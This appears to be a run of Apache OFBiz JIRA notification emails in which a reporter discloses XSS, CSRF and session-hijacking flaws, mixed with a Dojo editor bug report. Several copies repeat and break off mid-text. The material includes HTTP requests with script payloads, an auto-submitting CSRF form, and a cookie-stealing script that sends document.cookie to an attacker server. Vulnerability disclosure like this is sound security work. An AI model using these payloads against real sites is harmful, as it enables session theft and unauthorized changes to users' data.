keep-alive Referer:
[jira] Issue Comment Edited: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12674572#action_12674572 ] euronymous edited comment on OFBIZ-1959 at 2/18/09 3:14 AM: -- Hi David, Hi Jaques. I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz. I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find. Ecommerce seem to be virtually invulnerable to XSS now. The problem I mentioned is relative to partymgr. If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to reflected XSS: basiacally it is escaping HTML but not in the good way. --- REQUEST --- GET /partymgr/control/viewprofile?partyId=adminSCRiptalert(6)/scripT HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/partymgr/control/findparty Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin --- RESPONSE --- (truncated where unnecessary to explanation) the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with script../script causes this, as you can see from the following excerpt. [...] !-- Begin Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -- div class=button-bar tab-bar no-clear ul li ul li class=selected a href=/partymgr/control/viewprofile?partyId=adminSCRiptalert(6)/scripTProfile/a/li lia href=/partymgr/control/Preferences?partyId=adminSCRiptalert(6)/scripTPreferences/a/li lia href=/partymgr/control/viewroles?partyId=adminSCRiptalert(6)/scripTRole(s)/a/li lia href=/partymgr/control/linkparty?partyId=adminSCRiptalert(6)/scripTLink Party/a/li lia href=/partymgr/control/EditPartyRelationships?partyId=adminSCRiptalert(6)/scripTRelationships/a/li lia href=/partymgr/control/viewvendor?partyId=adminSCRiptalert(6)/scripTVendor/a/li lia href=/partymgr/control/EditPartyTaxAuthInfos?partyId=adminSCRiptalert(6)/scripTTax Infos/a/li lia href=/partymgr/control/EditPartyRates?partyId=adminSCRiptalert(6)/scripTRates/a/li lia href=/partymgr/control/editShoppingList?partyId=adminSCRiptalert(6)/scripTShopping Lists/a/li lia href=/partymgr/control/ViewSegmentRoles?partyId=adminSCRiptalert(6)/scripTSegments/a/li lia href=/partymgr/control/EditPartyClassifications?partyId=adminSCRiptalert(6)/scripTClassifications/a/li lia href=/partymgr/control/ListPartyContactLists?partyId=adminSCRiptalert(6)/scripTContact Lists/a/li lia href=/partymgr/control/EditPartyContents?partyId=adminSCRiptalert(6)/scripTParty Content/a/li lia href=/partymgr/control/EditPartySkills?partyId=adminSCRiptalert(6)/scripTParty Skills/a/li lia href=/partymgr/control/EditPersonTrainings?partyId=adminSCRiptalert(6)/scripTTrainings/a/li lia href=/partymgr/control/EditPartyResumes?partyId=adminSCRiptalert(6)/scripTResumes/a/li lia href=/partymgr/control/EditEmploymentApps?partyId=adminSCRiptalert(6)/scripTreferredByPartyId=adminSCRiptalert(6)/scripTEmployment Applications/a/li lia href=/partymgr/control/PartyFinancialHistory?partyId=adminSCRiptalert(6)/scripTFin. History/a/li lia href=/partymgr/control/PartyGeoLocation?partyId=adminSCRiptalert(6)/scripTGeolocation/a/li /ul br class=clear/ /li /ul /div !-- End Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -- [...] I'm gonna debug a little bit to understand why...Anyway I don't think that is a problem of the filter, because I didn't use any evasion techniques (just a few random chars in Lower case instead of Upper case, but I don't think it is the problem), and the attack vector is trivial. (anyway Idea 8.1 with remote debuggin on tomcat is too slow :( ahah ) Speaking about XSRF, clearly has not been fixed, and is possible even without XSS of course. just try to swend the following request, after authentication, changing the UserAgent (so your browser): try to change with this: Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1 POST /partymgr/control/createPerson HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
[jira] Commented: (OFBIZ-2135) Dojo html editor problems
[
https://issues.apache.org/jira/browse/OFBIZ-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12674643#action_12674643
]
Michele Orru commented on OFBIZ-2135:
-
Mhh good question Jacques...
well...If you're not using and old version of Dojo, prior to 0.4.1, then it may
be an Ofbiz implementation bug.
Looking at the head of /images/dojo/dojo.js I can see Copyright (c)
2004-2006, no version anyway.
Sincerely I didn't have the material time to check it, because we said to one
customer to use only Firefox to edit the contents
of the CMS we made for a few pages...
Anyway, i repeat, if you're not using an old version of dojo, the error
statement message: Statement on line 9850: Type mismatch (usually non-object
value supplied where object required) Backtrace: it is clear...
Take a look at here, it seems to be closed:
http://trac.dojotoolkit.org/ticket/700
http://trac.dojotoolkit.org/ticket/475
we have to investigate..
Michele
Dojo html editor problems
-
Key: OFBIZ-2135
URL: https://issues.apache.org/jira/browse/OFBIZ-2135
Project: OFBiz
Issue Type: Bug
Components: content
Affects Versions: SVN trunk
Environment: IE6, Opera 9.63, Safari
Reporter: Michele Orru
The html editor made with Dojo JS libraries, and present in module content
(request URI WebSiteCms) is not working with browsers other than Firefox.
The error is the following:
demo.hotwaxmedia.com
An error occured loading editor! : XMLHttpTransport.watchInFlight Error:
[Error:
name: TypeError
message: Statement on line 9850: Type mismatch (usually non-object value
supplied where object required)
Backtrace:
Line 9850 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
if(_949[i].charAt(1)!=l){
Line 9699 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.open();
Line 5236 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.fillInTemplate(args,frag);
Line 3924 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.buildRendering(args,_363,_364);
Line 4144 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
var ret=_3a3.create(_3a2,frag,_39e,frag[ns]);
Line 4326 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
return
[dojo.widget.buildWidgetFromParseTree(ltn,_3e3,this,null,null,_3e3)];
Line 4360 of linked script
https://demo.hotwaxmedia.com/images/dojo/dojo.js: In function fromScript
return
dojo.widget.getParser().createComponentFromScript(_3f3,name,_3f5,ns);
Line 4382 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
var _3f9=fromScript(tn,name.toLowerCase(),_3e8,ns);
Line 94 of inline#1 script in
https://demo.hotwaxmedia.com/content/control/WebSiteCms?webSiteId=WebStore:
In function createEditor
dojo.widget.createWidget(Editor2, { id: 'w_editor',
minHeight: '300px',
Line 227 of inline#1 script in
https://demo.hotwaxmedia.com/content/control/WebSiteCms?webSiteId=WebStore
createEditor(cmsdata.value);
Line 8156 of linked script
https://demo.hotwaxmedia.com/images/dojo/dojo.js: In function doLoad
_7d7[(typeof
_7d7.load==function)?load:handle](load,ret,http,_7d7);
Line 8192 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
doLoad(tif.req,tif.http,tif.url,tif.query,tif.useCache);
Line 1 of unknown script
dojo.io.XMLHTTPTransport.watchInFlight();
]
The second time the user tries to request the same resource, the error
changes in:
An error occured loading editor! : XMLHttpTransport.watchInFlight Error:
[Error:name: Error message: bad adviceObj for adviceFunc:hide]
I've tested it on MacOs Leopard 10.5.6 (Safari, Opera 9.63) and Windows (IE6,
Opera 9.63): as I've said before, only Firefox works well and without any
problem.
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Created: (OFBIZ-2194) Password visible in URL query string hidden parameter (pre/post auth)
Password visible in URL query string hidden parameter (pre/post auth) --- Key: OFBIZ-2194 URL: https://issues.apache.org/jira/browse/OFBIZ-2194 Project: OFBiz Issue Type: Bug Components: ecommerce Affects Versions: SVN trunk Reporter: Michele Orru Fix For: SVN trunk When logging-in to the ecommerce application, if we send a POST request to the login URI appositely wronging the user/passwd pair, the application responds embedding in the HTML the link to which we sent our request, plus USERNAME/PASSWORD parameters (with respective values): --- REQUEST --- POST /ecommerce/control/login?nodeTrailCsv=CNTGIZMOS%2CCNTGIZMOSSMLcontentId=CNTGIZMOS HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/checkLogin/showcontenttree?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLcontentId=CNTGIZMOS Cookie: JSESSIONID=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio Content-Type: application/x-www-form-urlencoded Content-Length: 44 USERNAME=DemoSalesManagerPASSWORD=ssfsfafaf --- RESPONSE --- [...] div id=ecom-header-bar ul id=left-links li id=header-bar-logina href=/ecommerce/control/checkLogin/login?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLUSERNAME=DemoSalesManagerPASSWORD=ssfsfafafcontentId=CNTGIZMOSLogin/a/li li id=header-bar-contactusa href=/ecommerce/control/contactusContact Us/a/li li id=header-bar-maina href=http://localhost:8080/ecommerce/control/main;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Main/a/li /ul ul id=right-links !-- NOTE: these are in reverse order because they are stacked right to left instead of left to right -- li id=header-bar-viewprofilea href=/ecommerce/control/viewprofileProfile/a/li li id=header-bar-ListQuotesa href=/ecommerce/control/ListQuotesQuotes/a/li li id=header-bar-ListRequestsa href=/ecommerce/control/ListRequestsRequests/a/li li id=header-bar-editShoppingLista href=http://localhost:8080/ecommerce/control/editShoppingList;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Shoppingnbsp;Lists/a/li li id=header-bar-orderhistorya href=/ecommerce/control/orderhistoryOrdernbsp;History/a/li /ul /div [...] Now, that's not son bad: basically is not an exploitable issue. The serious point is that if we Log-in with valid credentials, the HTML page that will be rendered after the successful login will containt an hidden parameter with our password, that can be easily grabbed thanks to XSS that are still present almost everywhere in the ecommerce application. --- REQUEST --- POST /ecommerce/control/login HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/login Cookie: JSESSIONID=9C59446F41F85A7A86A5DFC6BC75ABC2.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous Content-Type: application/x-www-form-urlencoded Content-Length: 41 USERNAME=euronymousPASSWORD=euronymous666 --- RESPONSE --- [...] div class=screenlet div class=screenlet-header div class=boxheadMini-Poll Poll/div /div div class=screenlet-body form method=post action=http://localhost:8080/ecommerce/control/minipoll/main;jsessionid=72CA238BC8183F96FB25B6405E66500F.jvm1; style=margin: 0; input type=hidden name=PASSWORD value=euronymous666/ input type=hidden name=USERNAME value=euronymous/ input type=hidden name=partyId value=10010/ input type=hidden name=surveyId value=1003/ [...] Have fun Michele Orrù -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12674013#action_12674013
]
Michele Orru commented on OFBIZ-1959:
-
Hi Jacques
Sorry to come here in the discussion two days later...
I will check it in these days...I will update my ofbiz trunk now.
And this night I will check it.
Anyway, any details, reference about tools you used to fix the vulns? ESAPI?
let me know
All the best Jacques
Michele Orru'
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: SVN trunk
+++|||Discovered security
issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST
request
parameters are never fortified to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the
middle attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
form method=POST id=xsrf name=xsrf
action=https://127.0.0.1:8443/catalog/control/createProduct;
input type=hidden name=isCreate value=true
input type=hidden name=productId value=hack02
input type=hidden name=productTypeId value=DIGITAL_GOOD
input type=hidden name=internalName value=hack02
/form
scriptdocument.xsrf.submit(); /script
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent
to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in
the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
input type=hidden name=internalName
value=scriptalert(document.cookie)/script
The malicious code will display every cookie information in a pop-up, that
only the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in
a way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
img src=http://x.x.x.x/malicious.js;
The malicious code will look as the following one:
script
var
str=http://ourHackServer/CookieWebServlet?cookie=+document.cookie+url=+document.URL;
if(document.cookie.indexOf(done)0)\{
document.cookie=done=true;
document.location.replace(str);
}
/script
Of course the code can be a lot shorter, and the
[jira] Created: (OFBIZ-2135) Dojo html editor problems
Dojo html editor problems
-
Key: OFBIZ-2135
URL: https://issues.apache.org/jira/browse/OFBIZ-2135
Project: OFBiz
Issue Type: Bug
Components: content
Affects Versions: SVN trunk
Environment: IE6, Opera 9.63, Safari
Reporter: Michele Orru
Priority: Critical
The html editor made with Dojo JS libraries, and present in module content
(request URI WebSiteCms) is not working with browsers other than Firefox.
The error is the following:
demo.hotwaxmedia.com
An error occured loading editor! : XMLHttpTransport.watchInFlight Error: [Error:
name: TypeError
message: Statement on line 9850: Type mismatch (usually non-object value
supplied where object required)
Backtrace:
Line 9850 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
if(_949[i].charAt(1)!=l){
Line 9699 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.open();
Line 5236 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.fillInTemplate(args,frag);
Line 3924 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
this.buildRendering(args,_363,_364);
Line 4144 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
var ret=_3a3.create(_3a2,frag,_39e,frag[ns]);
Line 4326 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
return [dojo.widget.buildWidgetFromParseTree(ltn,_3e3,this,null,null,_3e3)];
Line 4360 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js:
In function fromScript
return dojo.widget.getParser().createComponentFromScript(_3f3,name,_3f5,ns);
Line 4382 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
var _3f9=fromScript(tn,name.toLowerCase(),_3e8,ns);
Line 94 of inline#1 script in
https://demo.hotwaxmedia.com/content/control/WebSiteCms?webSiteId=WebStore: In
function createEditor
dojo.widget.createWidget(Editor2, { id: 'w_editor',
minHeight: '300px',
Line 227 of inline#1 script in
https://demo.hotwaxmedia.com/content/control/WebSiteCms?webSiteId=WebStore
createEditor(cmsdata.value);
Line 8156 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js:
In function doLoad
_7d7[(typeof _7d7.load==function)?load:handle](load,ret,http,_7d7);
Line 8192 of linked script https://demo.hotwaxmedia.com/images/dojo/dojo.js
doLoad(tif.req,tif.http,tif.url,tif.query,tif.useCache);
Line 1 of unknown script
dojo.io.XMLHTTPTransport.watchInFlight();
]
The second time the user tries to request the same resource, the error changes
in:
An error occured loading editor! : XMLHttpTransport.watchInFlight Error:
[Error:name: Error message: bad adviceObj for adviceFunc:hide]
I've tested it on MacOs Leopard 10.5.6 (Safari, Opera 9.63) and Windows (IE6,
Opera 9.63): as I've said before, only Firefox works well and without any
problem.
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Created: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: SVN trunk
+++|||Discovered security issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST request
parameters are never fortified to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the middle
attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
form method=POST id=xsrf name=xsrf
action=https://127.0.0.1:8443/catalog/control/createProduct;
input type=hidden name=isCreate value=true
input type=hidden name=productId value=hack02
input type=hidden name=productTypeId value=DIGITAL_GOOD
input type=hidden name=internalName value=hack02
/form
scriptdocument.xsrf.submit(); /script
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent to
the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in the
catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
input type=hidden name=internalName
value=scriptalert(document.cookie)/script
The malicious code will display every cookie information in a pop-up, that only
the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in a
way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
img src=http://x.x.x.x/malicious.js;
The malicious code will look as the following one:
script
var
str=http://ourHackServer/CookieWebServlet?cookie=+document.cookie+url=+document.URL;
if(document.cookie.indexOf(done)0)\{
document.cookie=done=true;
document.location.replace(str);
}
/script
Of course the code can be a lot shorter, and the already-exploited-check can
be removed.
After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL
(remember document.URL) that will be an
authentication-required resource, the login page will ask us for valid
credentials.
In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new
cookie has been
given to us, because we don't have one. If we modify the JSESSIONID value with
the grabbed
one, and we make the previous request another time (just refresh on the login
page), then
we are riding the same victim session. If we are lucky and it's an
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12630879#action_12630879
]
Michele Orru commented on OFBIZ-1959:
-
Of course I tested all of them on Ofbiz, and the examples that you can see in
my post are all relevant to Ofbiz.
The action on the form method is
https://127.0.0.1:8443/catalog/control/createProduct.
The internalName is an attribute of Product.
- Every attack was tested on the latest Ofbiz SVN trunk.
- The attacks I posted are not only XSS: XSRF is definitely not an XSS.
- The XSRF and Session Hijacking attacks were not already present in your
Issue Tracker.
- One possible mitigation is to add new functionalities to
org.ofbiz.base.util.UtilValidate, that is from ofbiz APIs.
The XSS ticket is still open from 2 years, maybe because as Jaques Le Roux said
these attacks are not
critical issues for you. When I will have time I will fix them, but maybe we
can discuss how to protect Ofbiz
from the latest threats instead of don't do nothing.
{quote}
I don't see any thing relative to ofbiz in this post
just general Java.
have you tested this with ofbiz to verify.
also we have other issues that referred to XSS.
Search the Jira for it.
{quote}
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: SVN trunk
+++|||Discovered security
issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST
request
parameters are never fortified to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the
middle attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
form method=POST id=xsrf name=xsrf
action=https://127.0.0.1:8443/catalog/control/createProduct;
input type=hidden name=isCreate value=true
input type=hidden name=productId value=hack02
input type=hidden name=productTypeId value=DIGITAL_GOOD
input type=hidden name=internalName value=hack02
/form
scriptdocument.xsrf.submit(); /script
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent
to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in
the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
input type=hidden name=internalName
value=scriptalert(document.cookie)/script
The malicious code will display every cookie information in a pop-up, that
only the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in
